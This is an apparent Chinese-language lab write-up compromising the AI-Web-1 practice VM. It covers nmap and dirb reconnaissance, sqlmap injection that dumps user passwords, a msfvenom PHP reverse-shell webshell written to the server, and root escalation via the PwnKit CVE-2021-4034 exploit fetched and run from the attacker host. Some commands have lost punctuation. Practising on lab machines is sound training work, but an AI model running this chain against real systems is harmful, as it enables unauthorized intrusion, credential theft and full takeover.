1信息收集kali为攻击机ip为192.168.24.137netdiscover -r 192.168.24.0/24端口和服务nmap -sS -sV -T4 -A -p- 192.168.24.143/m3diNf0//se3reTdir777/uploads/ 两个都无法访问但是/se3reTdir777/可以访问。页面目录枚举第一次dirb http://192.168.24.143 -X .php,.txt,.zip,.html第二次gobuster dir -u http://192.168.24.143/se3reTdir777/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip/se3reTdir777/index.php /se3reTdir777/index.php/login/是同一个页面。回到/se3reTdir777/index.php 页面第一反应想到是 SQLi。直接上 sqlmap burpsuite 进行抓包将整个 POST 请求保存到桌面的uid.txt 中。POST /se3reTdir777/index.php HTTP/1.1 Host: 192.168.24.143 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 22 Origin: http://192.168.24.143 Connection: close Referer: http://192.168.24.143/se3reTdir777/index.php Upgrade-Insecure-Requests: 1 uid1OperationSubmitsqlmap -r Desktop/uid.txt --dbssqlmap -r Desktop/uid.txt --current-usersqlmap -r Desktop/uid.txt -D aiweb1 --tablessqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser --columnssqlmap -r Desktop/uid.txt -D aiweb1 -T systemUser -C id,password,userName二、getshell犯了个致命的错误没有爆破 m3diNf0 目录下的页面。dirb http://192.168.152.132/m3diNf0/ -X .php,.txt,.zip,.html发现/m3diNf0/info.php。知道了网站根目录 DOCUMENT_ROOT/home/www/html/web1x443290o2sdf92213file-dest 写入 webshell尝试使用--file-dest 将 webshell 写入到 uploads 目录。先使用 msfvenom 生成 shell 代码 记得把生成的 shell 代码的最前面两个字符/*删除。msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.152.128 LPORT1234 -f raw --file-dest 将本地 shell 写入到 uploads 目录sqlmap -r /home/kali/Desktop/uid.txt --file-write/home/kali/shell.php --file-dest/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/webshell.php如果远程存在该文件则无法写入。修改为webshell2.phpsqlmap -r /home/kali/Desktop/uid.txt --file-write/home/kali/shell.php --file-dest/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/webshell2.php使用 metasploit 接收反弹的 shellmsfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.152.128 set lport 1234 run最后访问 http://192.168.152.132/se3reTdir777/uploads/webshell2.php 进行 shell 反 弹。metasploit 收到反弹的 shell 后先依次执行下列命令shell python -c import pty;pty.spawn(/bin/bash)三、利用linuxprivchecker.py提权在kali机上执行以下代码python3 -m http.server 9091下载到靶机curl -o /tmp/linuxprivchecker.py http://192.168.152.128:9091/home/kali/linuxprivchecker.pypython linuxprivchecker.py report.txt根据report.txt提权检查报告发现了多个可行的提权路径Linux 内核漏洞CVE-2017-16995因为目标内核版本4.15.0-58-generic恰好在该漏洞的影响范围内4.4 ~ 4.15pkexec的提权漏洞CVE-2021-4034有效系统存在pkexec且未打补丁。下面是pkexec提权的具体操作步骤。1在 Kali 上下载源码文件wget https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.c -O PwnKit.c2编译注意参数gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC3 启动 HTTP 服务并上传执行python3 -m http.server 90914在目标端下载并执行curl http://192.168.152.128:9091/PwnKit -O /tmp/PwnKit chmod x /tmp/PwnKit /tmp/PwnKit